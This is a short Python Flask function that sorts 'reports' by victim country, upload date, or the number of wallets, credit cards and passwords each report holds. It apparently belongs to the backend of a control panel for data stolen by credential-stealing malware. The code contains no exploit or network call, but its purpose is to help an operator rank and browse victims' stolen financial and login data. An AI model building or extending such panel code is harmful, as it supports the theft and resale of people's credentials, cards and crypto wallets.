#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Coded by L1ghtM3n@protonmail.com

# Import modules
from flask import request

# Sort all reports by Size/Country/Date
def SortReports(reports: list) -> list:
    # Do reverse
    reverse = request.args.get("reverse") != "1"
    option = request.args.get("sort_option")
    # Sort by country
    if option == "country":
        return sorted(reports, 
            key=lambda r: r.geo_data.country, reverse=reverse)
    # Sort by upload date
    elif option == "date":
        return sorted(reports, 
            key=lambda r: r.add_time, reverse=reverse)
    # Sort by wallets, creditcards and passwords count
    elif option == "count":
        return sorted(reports, key=lambda r: (
            r.counter["wallets"], 
            r.counter["credit_cards"], 
            r.counter["passwords"]
        ), reverse=reverse)
    # Skip sorting
    else:
        return reports
